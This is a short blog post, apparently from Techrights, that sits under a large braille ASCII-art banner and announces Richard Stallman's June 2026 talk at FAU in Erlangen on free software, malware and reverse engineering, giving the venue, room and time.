⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡟⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠻⠿⠿⠿⠿⠿⠿⣿⠿⠿⡿⠿⠿⠿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠨⠐⠑⠲⠀⠈⠄⠈⠞⠛⠓⠿⠛⠷⢿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢼⣇⣁⡇⣡⣀⠂⣀⣔⣼⣯⣻⣿⣿⣧⠈⢿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢵⣿⣿⣷⣿⣿⣷⣿⣾⣾⣿⣿⣿⣿⣿⠀⢲⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣀⠤⠂⡄⠄⠀⢂⠩⡻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⢠⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠀⠀⡀⣴⣤⣆⣥⣾⣾⣺⠘⠃⣄⠀⠄⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠐⢀⢷⣿⣿⣿⣻⣻⣿⡐⢴⣾⡢⠈⠠⣸⣿⣿⡿⣿⣿⣿⣿⣿⡇⠀⢼⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⣏⣿⣿⣿⢿⣿⣇⣛⣛⢻⢳⢹⢶⣾⡝⢿⣿⣿⣿⣿⣿⡇⠀⢼⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠁⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠂⠀⠀⠀⠀⠀⠄⢄⣩⣯⣿⣿⣿⣿⠿⠛⢛⢿⠧⣭⣶⣿⢺⣿⣿⢀⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡈⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠠⠀⡀⠀⠀⢧⣾⣿⡿⠟⠋⣁⣤⣦⠑⠀⡎⠈⡟⣿⡚⣦⠺⠿⠜⢸⣟⣿⣿⣿⡇⠀⣼⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⢀⢀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠆⠀⢠⣤⣤⣤⣶⣾⣿⣿⠿⠛⠓⠀⠄⣜⢍⠁⣳⣿⡀⠀⠀⠂⢻⣿⣿⣿⡇⠀⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠄⠠⠀⠀⠀⠀⠀⠖⢗⣮⠀⢧⠀⠄⠀⡀⡀⠀⠠⠁⠈⣈⣉⣉⣉⣉⣶⣤⣴⣶⣿⣿⣠⡈⠛⠁⢀⣤⣥⣷⣿⣷⢰⢸⣿⣿⣿⡇⠀⢿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⡄⡀⠀⢀⣀⡛⢛⢓⣀⠘⠀⢀⡓⠘⠋⢀⣚⡓⠀⢙⣛⣛⣛⢙⣛⣛⣛⣛⣛⡛⢛⠃⡔⣜⢥⠸⣯⣭⠭⢍⡢⢸⣿⣿⣿⡇⠀⢺⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡀⠀⠀⡤⡀⠀⠀⠈⠄⢠⠀⠀⠀⠀⠀⠀⠀⢠⣱⢡⡟⣦⣼⣳⠟⣾⣿⣟⠄⠀⠀⠠⠈⠊⠓⢹⡻⣮⢢⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⡜⣜⣿⡆⢀⠮⢁⠙⡨⡶⡄⠜⣿⣷⣿⡇⠀⢹⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠢⠄⠀⠀⢠⠄⠂⠌⠂⠘⠠⠠⠀⠀⠀⠀⠀⠨⠂⢶⠙⣷⣿⣮⠡⢹⠞⠆⠁⠀⠄⠀⠀⠀⠀⢠⣿⡞⢻⣿⣯⣽⣿⣯⣾⣿⣿⣿⡿⢰⣿⣿⢧⠌⣄⢨⠀⢱⣡⠘⠃⣿⣿⣿⡇⠀⢹⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠐⠀⡺⣌⣂⢀⣀⠀⣐⢀⠀⠀⣳⠀⠀⠀⠘⠐⠧⠥⠟⠯⠠⠀⠄⠐⠂⠀⠁⠀⠀⠀⠆⠃⠊⠿⠾⠻⣻⣿⣿⣿⣧⣿⡯⣰⣾⢁⢸⣿⣿⠈⢠⠙⡶⠀⡎⣿⢈⠂⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠠⢄⠀⠉⠔⠉⠈⠵⠨⡳⢸⠀⡄⢨⠀⠀⠀⠐⣾⠇⠸⢀⢘⠁⡀⢘⢀⢤⠄⠀⠀⢀⡄⠀⣤⣰⢭⢅⢺⣧⡶⣶⣶⣶⣶⡆⡆⣶⢸⢸⣽⡟⣪⢸⠀⠂⠃⣇⣟⣠⠀⣗⠗⡽⡅⠀⢻⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠐⠀⡡⡀⠁⠀⠅⠀⡅⠸⠀⡇⡼⠀⣾⡄⠀⣬⡀⠀⠈⠐⠄⡐⡐⢫⢟⠖⠀⠀⠀⢈⠓⢄⣉⠘⣿⡿⡿⣗⣿⣷⣿⣿⡇⡇⣿⠘⢠⣯⠣⠸⠚⡟⢴⠃⠈⢋⠋⡂⡿⡄⢁⠇⠀⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢄⠀⠀⢽⣦⠄⠀⠀⠀⣛⢀⠂⠃⠇⠆⠻⠀⢰⢹⠇⠆⢐⠠⠥⢇⣄⠈⠓⠄⠂⣀⡀⡀⡔⢠⡑⣦⣀⢸⣫⣛⣾⣿⣿⣿⡇⡇⢿⢸⢘⣿⡲⢰⣶⡎⣴⣿⢰⣿⡌⣿⢿⣿⣾⠀⠀⡻⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠩⡡⠀⡂⣠⠀⢀⠀⠀⡥⢠⠐⠀⠀⡇⠀⠀⢸⢸⡀⡆⢐⠨⡋⠩⢉⡀⠠⠅⠀⠍⠄⠆⠄⠀⢰⡈⣳⣼⣿⣿⣿⣿⣿⣿⡇⡇⣾⢸⢘⣿⠷⡆⢻⡇⢻⣿⢸⣿⡇⣿⣿⣿⣿⡀⠀⣷⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢘⠀⢀⢔⡅⢁⣰⠶⢀⠇⠰⠀⡇⡄⡇⠀⠀⠘⡌⠁⠇⠐⠀⠀⠑⠒⡠⠶⠂⠀⠀⠐⠀⢡⠂⠀⣣⠘⢵⣽⣿⣷⣿⣿⣾⡇⠇⠿⠘⠈⠒⠈⠀⢩⣞⢸⣿⢸⣿⢸⣿⣯⣿⣿⡇⠀⣽⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡈⠀⠀⠐⠨⡈⡊⢀⡀⡀⢉⡀⢀⣡⡠⠀⠂⢀⢁⢀⠆⣷⠚⣅⡀⡂⠡⠕⢀⡀⠀⠀⠀⠨⠁⠬⢀⣈⣹⣺⢿⣾⢿⡋⠛⠀⠀⠀⡈⠠⠀⣀⣶⢘⠇⠞⣿⡇⡿⢸⣾⣿⢿⣿⠇⠀⢼⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠔⠌⠀⠂⠼⢃⠽⠪⠇⠀⠈⢠⡨⡴⠻⡃⠰⡐⢸⢄⢑⠻⠖⠘⣅⠋⢀⡀⠀⠄⠀⠀⠀⠀⠄⠀⣸⠍⢻⡻⠛⢩⢻⢀⠀⠀⠠⠀⠀⡈⠁⠀⠘⠠⠠⣾⣿⠇⠘⢸⣿⣿⣿⣿⡆⠀⣚⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠔⠐⣧⡖⣂⢒⡁⠓⠢⠙⠛⣃⠓⠈⠁⠑⡉⡓⢂⠂⡊⣈⣙⣃⡐⠀⡁⠁⠀⢐⡈⣂⡒⡊⠂⣀⡛⠙⣊⣃⣙⢂⣊⣓⠀⡀⠀⠀⠃⠀⣀⣀⡛⠉⢀⣠⣼⣿⣿⣿⣿⡇⠀⣸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠐⠅⠹⣹⠑⡩⢐⠀⠀⠀⠀⠂⢷⠀⢀⢀⣨⣬⢇⠖⢾⠻⡘⣭⠇⢾⣔⠀⠆⠐⡘⠊⣶⠂⠔⣼⣒⢝⡯⡅⠿⢧⠹⠙⠈⠗⡀⠀⠀⢀⢥⢿⢼⣾⣿⣿⣿⣿⣿⣿⣿⡇⠀⣺⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠰⠬⠄⡮⠁⠀⠨⠆⠰⢆⠀⠀⢀⣀⡿⣁⡶⣁⠀⠀⢈⡨⢐⢻⢧⠈⣄⢀⡀⠀⣉⣓⠓⣮⣽⢥⡿⣷⠻⠤⡊⠀⢐⠀⠑⣢⡠⢯⢖⣨⣟⡿⣷⣯⣿⣿⣿⣿⣿⣯⠃⠀⢘⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⢐⣠⡱⡇⠀⠀⠀⠀⠀⠄⠒⠀⠀⠈⠉⠁⣊⢈⣀⠋⠬⠿⠻⠌⠷⢅⢈⣾⢀⡍⢻⠛⢗⡉⣿⢿⣿⣷⣷⣽⣿⣬⣄⣗⣾⣏⣼⢬⠿⣷⣽⣿⣏⣿⣷⣿⣿⣿⠿⠋⠀⢀⢽⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⡀⠀⠀⠉⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠁⠁⠊⠉⠉⠊⠚⠋⠉⠉⠀⠀⠀⠀⠈⠉⠉⠉⠙⠛⠛⠛⠛⠛⠛⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⢀⡀⢄⣀⡠⣴⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⢈⡰⢂⣠⡦⠦⡴⠠⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣲⣾⣤⣤⣄⣤⣶⣶⣴⣴⣶⣀⣀⡀⢀⣀⣀⣀⣀⣠⣴⣤⣦⣶⣆⣀⣠⣀⣐⣬⣰⣶⣺⣿⣿⣷⣷⣯⣿⣶⣿⣫⣿⣿⣿⣿⣿⣿⣿⣿⣿ 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⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⡄⣾⣿⡗⣶⣾⣾⣿⢐⠁⢀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠀⠀⠁⣄⠄⠀⠀⠀⠀⠒⢂⢻⣿⣿⣿⣿⣿⣧⡈⢴⣾⣋⠀⠠⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⢀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⢸⣿⣏⣿⣿⣿⣿⣿⣇⣙⣛⢻⣷⢸⢲⣦⡝⢿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⣦⠀⠀⡀⠀⠀⢐⢌⣹⣿⣿⣿⣿⡿⠿⠛⠛⢿⠃⣬⣴⣾⢸⣿⣿⠀⢻⣿⣿⣿⣿⡇⠀⣸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠇⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡔⠀⠀⠀⠀⠀⠀⠀⠈⠀⠠⠰⠀⠀⠈⠳⠰⠒⡀⠀⠀⣿⣾⣿⠿⠟⠋⣁⣤⣤⠀⠀⠊⠈⡏⢹⡞⢀⠹⠻⠄⠸⣿⣿⣿⣿⡇⠀⢽⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⢀⠀⠀⠀⠐⢀⡀⠀⠀⠀⠀⡀⢀⡀⠀⢺⡇⠀⢀⣤⣤⣤⣴⣶⣿⣿⠿⠛⠃⠀⠀⢜⢄⠀⠃⣯⡆⠀⠀⠀⢹⣿⣿⣿⡇⠀⣺⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠒⠤⠄⠄⠀⢡⠀⠀⣖⣗⡦⠀⣇⠀⠆⡄⣂⡰⠀⠘⠀⠈⣈⣀⣀⣀⣀⣠⣤⣤⣶⣾⣿⣠⡈⠛⠁⢀⣤⣥⣤⣤⣶⢰⢸⣿⣿⣿⡇⠀⢺⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⣤⠄⢀⠀⠀⣀⣈⣉⣑⣀⣈⠀⠀⡓⢚⠉⣀⢘⣓⠀⢙⣛⣛⣛⡛⣛⣛⣛⣛⣛⡛⢛⠃⡔⢍⠀⠰⠭⠭⠭⢍⡢⢸⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣀⢀⠀⣶⡀⠀⠀⠰⠅⠀⠃⠀⠀⡀⠀⠀⠀⢨⡲⢠⡿⣦⣼⣿⣯⣿⣿⣿⡗⠁⠀⠈⣴⣚⠛⣻⣾⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⡌⣸⣿⡆⠀⠢⠀⠐⠠⡖⠀⠈⣿⣿⣿⡇⠀⣸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠶⡚⠀⢁⣡⠄⡄⢺⠀⢸⠀⠀⠀⡅⠀⠀⠀⢸⠃⡶⠽⣿⣿⣿⡯⣿⣿⡏⡀⠀⠀⠀⠡⠀⡵⣿⣿⣿⣿⣯⣿⣿⣿⣿⣿⣿⡿⣿⡟⢠⣿⣿⠁⠀⡄⢨⠀⢡⣀⠀⠀⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠐⡴⠀⣺⣹⣿⢀⣼⠀⢼⢰⠀⠀⠂⠀⠀⠀⠘⠐⠃⠥⠟⠿⠙⠋⠶⠉⠀⠈⠀⠀⠀⠀⠳⠁⠨⠿⠿⠿⠿⠿⠿⠿⠿⢿⡿⢐⡼⠁⢸⣿⣿⠀⠀⠘⠘⠀⡄⣿⢈⡆⣿⣿⣿⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣐⣂⠈⣿⠯⢋⢹⣽⠀⠲⢨⠀⠀⣸⠀⢀⠀⠀⡷⠀⠈⠀⢸⣍⠩⣻⣤⣄⠆⠀⢀⠠⡄⠀⡤⣠⣶⣶⣶⣦⣶⣶⣶⣶⣶⡆⡆⢰⠠⢸⣿⡟⣈⢸⠀⠃⠀⠁⣃⣀⡂⢸⣿⡻⡇⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡈⢘⠀⣮⣗⠀⠋⡙⠀⡅⢸⠀⡆⡸⠀⣾⠀⠀⣿⠀⠀⠀⠐⡤⣌⡐⢿⣏⠖⡀⠀⠈⢉⠙⣌⣙⡛⣿⣿⣿⣿⣿⣿⣿⣿⡇⡇⢸⢈⢰⣿⠁⠐⠘⡟⠵⠀⠈⢉⠋⡀⣘⣭⣟⠇⠀⢽⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣼⢨⠀⢽⣿⡖⠀⠁⠀⣧⢸⡆⡇⠀⠀⢻⠀⠀⢸⠀⠀⠀⠀⣄⣦⣄⢹⣷⠖⠃⣀⡀⠀⡆⢠⠛⣧⣩⢽⣷⣾⣿⣿⣿⣿⠇⡇⢸⢸⠀⣿⣶⠀⣤⡌⢠⣿⠀⣿⡄⣿⣿⣿⣿⠀⠀⣾⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠙⣻⠀⠏⣿⣑⡐⠀⠀⠿⢸⠀⠀⠀⠁⠀⠀⢸⠸⠀⠀⠀⠀⡏⣽⢭⣭⠻⢫⡁⢯⡥⡤⡄⠉⢢⣟⣻⣾⣿⣿⣿⣿⣿⣿⠂⡇⢸⠰⠀⣿⣿⡆⢿⡇⢸⣿⠀⣿⡇⣿⣿⣿⣿⠀⠀⢿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣌⠥⠀⢹⣇⢠⣷⡆⢠⡇⢸⠀⡇⡄⠀⠀⠀⠘⡈⠀⠀⠀⠀⣠⠛⠛⢹⡿⠇⠐⠀⠔⠀⣡⡃⠜⣿⠘⣿⣿⣿⣿⣿⣿⣿⠀⠇⢸⠐⠀⢙⠁⠀⢸⡇⢸⣿⠀⣿⢠⣿⣿⣿⣿⡇⠀⣸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡏⠀⠀⠘⢞⡁⣿⡈⡀⡂⠀⡄⢠⣁⡄⡄⢈⢀⣠⠀⠀⣷⢿⣮⡆⡆⣹⠇⢠⠀⠀⠀⠈⠉⠉⡤⢹⣾⣿⣿⣿⣿⣿⡿⠟⠀⠆⠀⡌⠤⠁⢸⡯⢸⡇⣼⣿⡆⡿⢸⣿⣿⣿⣿⠃⠀⢸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠽⠟⠀⣎⣿⡛⣿⢻⣗⠇⡨⢠⣽⣿⡿⡇⢸⡀⢿⠀⡠⣯⣶⣿⣿⡟⢠⡄⣴⡀⠀⠀⠀⣠⣰⣄⣸⠟⣿⣿⣿⣿⣿⣃⠓⣀⡀⠀⠀⠀⢁⢮⡀⠀⠀⣿⣿⠇⠀⠸⣿⣿⣿⣿⠆⠀⢶⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⣊⢚⣿⡓⡒⠘⠀⠓⠢⠉⠛⠓⠓⠀⠉⠀⠉⠛⠓⠒⠚⠛⠛⠛⠒⠛⠒⠒⠂⠒⠛⠒⠒⠛⠒⠒⠛⠛⠛⠛⠛⠒⠚⠓⠚⠐⠒⠂⠈⠀⠀⠀⡛⠁⠀⠀⠔⠛⠛⠻⠟⠃⠀⢨⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠛⠃⠶⢻⡼⣁⢑⠈⠕⠀⠀⠗⣽⡿⢲⣂⣥⣤⣷⠞⣷⢺⣚⣿⣿⣾⣶⣁⣲⢠⣝⣿⡶⡆⣴⣿⣿⣿⣿⣷⢿⣷⠹⠿⠷⡟⠂⠀⠀⣄⣻⣿⣷⣶⣿⣿⣿⣿⣿⣿⣿⡇⠀⢻⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⢳⡮⣽⡾⠃⠐⠂⠶⠴⠖⢰⡉⣀⣤⣿⣿⣿⣉⠀⣏⣩⡡⢸⣿⣿⣽⣟⣂⠆⠀⣹⣻⣿⣿⣿⣿⣿⣿⡿⠿⣿⣆⣀⠀⢸⣒⣤⣿⢿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⣸⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⢀⣔⣿⣿⡇⠄⠀⠀⠀⠐⠖⠀⠀⠠⠨⡍⢉⣀⠙⠛⠛⠰⠿⠿⠿⠿⠍⠸⢿⣡⣛⣿⠛⣿⣟⣿⣿⣿⣿⣷⣿⣿⣿⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋⠀⠀⢹⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠄⢈⣦⡀⠀⠉⠉⠉⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠙⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠙⠛⠛⠛⠛⠛⠋⠉⠉⠀⠀⠀⠈⠉⠁⠀⠀⠈⠀⠀⠀⠀⠀⡀⠀⣀⡠⣤⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⣠⣾⣉⣲⣤⢤⡤⣄⠤⠠⠀⠀⠀⠀⠀⠀⠀⠀⠠⢠⣤⣶⣶⣤⣦⣤⣤⣦⣶⣰⣴⣀⣀⣀⣀⣀⣀⣀⣀⣀⣠⣤⣶⣦⣴⣦⣠⣄⣐⣲⣶⣷⣶⣾⣿⣿⣷⣿⣯⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣌⣏⣍⣍⣩⣭⣍⣹⣷⣤⣨⣉⣋⣩⣉⣉⣹⣩⣉⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣸⣉⣉⣉⣏⣉⣹⣁⣈⣉⣉⣉⣉⣉⣉⣹⣉⣹⣙⣏⣉⣉⣀⣨⣈⣍⣉⣉⣉⣉⢍⣿⣉⣉⣉⣙⣉⣉⣝⢉⣹⣈⣻⣉⣙⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣈⣍⣍⣉⣁⣩⣉⣉⣉⣇⣁⣉⣉⣩⣹⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 2702 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Richard_Stallman_to_Give_Public_Talk_in_Erlangen_Germany_Next_E.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Richard_Stallman_to_Give_Public_Talk_in_Erlangen_Germany_Next_E.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Richard Stallman to Give Public Talk in Erlangen, Germany (Next European Tour)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Faculty of Engineering⦈ According to Dr._Stallman's_Web_site, his next talk is just over a month away and it'll be at the School of Engineering of FAU (Faculty_of_Engineering). Quoting his site: Richard Stallman will speak in Erlangen, Germany on June 16 at 16:00, at the School of Engineering of FAU: Title: Free Software vs Malware, and the need for reverse engineering Presenting the moral issues of free vs nonfree software, why your freedom demands freeing yourself from nonfree software, and how reverse engineering is crucial for freeing our computers. Language: English Location: Felix-Klein-Gebäude, 1. OG Cauerstr. 11 91058 Erlangen Room: H11 (01.210) Time: 16:00 to 18:00 As usual, the event will have around an hour of presentation followed by around an hour of Q&A. We suggest you bring cash. He announced this in his political notes some_time_yesterday: 🄸🄼🄰🄶🄴 